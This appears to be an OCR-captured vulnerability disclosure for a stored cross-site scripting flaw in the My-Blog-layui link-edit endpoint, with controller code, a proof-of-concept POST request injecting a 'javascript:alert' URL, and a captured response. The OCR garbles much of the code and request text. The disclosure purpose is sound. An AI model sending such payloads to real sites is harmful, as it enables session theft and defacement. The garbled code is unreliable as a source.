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Code Blame Raw (0 &

My-Blog-layui has Cross Site Scripting
vulnerability in LinkController.java

supplier

https://github.com/ZHENFENG13/My-Blog-layui

Vulnerability file

LinkControllerjava

describe

There is a cross-site scripting attack in the /vi1/link/edit interface of LinkControllerjava. The
parameter is directly written into the database without filtering the dangerous function of xss.
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Code analysis

£ BlogControllerjava € LinkController java £ MyBlogWebMvcConfigurerjava £ UploadFileUtils.java E HitpStatusEnum.java £ BlogCateg:
@eetMapping(®v" /vi/link/edit") sotEe sy
g public String editlink(Integer 1inkId, Model model){
if (linkId !'= null){
BlogLink bloglLink = bloglLinkService.getById(1linkId);
model.addAttribute( s "bloglLink",bloglink);
}
return "adminlayui/link-edit";
}
[@ResponseBody
T [@PostMappingl{®~"/v1/link/edi ”ﬂ
@ public Result<String> updateAndSavelink(BlogLink blogLink){
blogLink.setCreateTime(DateUtils.getLocalCurrentDate());
boolean flag;
if (blogLink.getLinkId() !'= null){
flag = bloglLinkService.updateById(blogLink);
Yelse{
flag = blogLinkService.save(bloglLink);
I3
if (flag){
return ResultGenerator.getResultByHttp(HttpStatusEnum.0K);
}
return ResultGenerator.getResvltByHttp(HttpStatusEnum. INTERNAL_SERVER_ERROR);
}
F
POC
POST /admin/vi/link/edit HTTP/1.1 =

Host: 192.168.0.100:8080

Content-Length: 150

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.100:8080

Referer: http://192.168.0.100:8080/admin/v1/1link/edit?1inkId=1
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=4D9D6AD7DFES8E8E28DAE2C8732CDD74F
Connection: close

1linkId=1&1inkType=0&1inkName=%E6%B5%8B%E8%AF%951&1inkUr 1=javascript%3Aalert('XSS'
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==
Request Response
Pretty Raw Hex = Pretty Raw Hex Render =
1 POST /admin/v1/link/edit HTTP/1.1 1 HTTP/1.1 200
2 Host: 192.168.0.100:8080 2 Gontent-Type: application/json;charset=UTF-8
3 Gontent-Length: 150 3 Date: Fri, 04 Apr 2025 01:32:23 GNT
4 X-Requested-With: XMLHttpRequest 4 Gonnection: close
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d: x64) AppleWebKit/537.36 (KHTNL, |ike 5 Gontent-Length: 49
Gecko) Chrome/131.0.0.0 Safari/537.36 6
6 Accept: */% 71
7 Content-Type: application/x-www-form-ur lencoded: charset=UTF-§ “resultCode”: 200,
8 Origin: http://192,168. 0. 100:8080 "message”: " MM,
9 Referer: http://192.168.0.100:8080/admin/v1/1ink/edit?linkld=1 “data”:null
10 Aceept-Encoding: gzip. deflate
11 Accept-Language: zh-GN, zh:g=0.¢
12 Cookie: JSESSIONID=4D9D6AD7DFEBEBE2BDAE2CE732C0DTAF
13 Gonnection: close
14
15 link|d=1& inkType=0&1 inkName=XE6NBSBBREBNAFAP518 | inkUr |=javascr ipth3Aalert (' XS5') ¥3B+&
linkDescripti li
@ & €[] | search.. 0 matches | (2) {6} [ €[] | search. 0 matches
Done
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Request Attributes 2 v
Request Query Parameters 0 v
Request Body Parameters 6 v
Request Cookies 1 v
Request Headers 12 o~
Respanse Headers. 4~

188 bytes | 21 millis

Result
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Click test 1 to trigger xss
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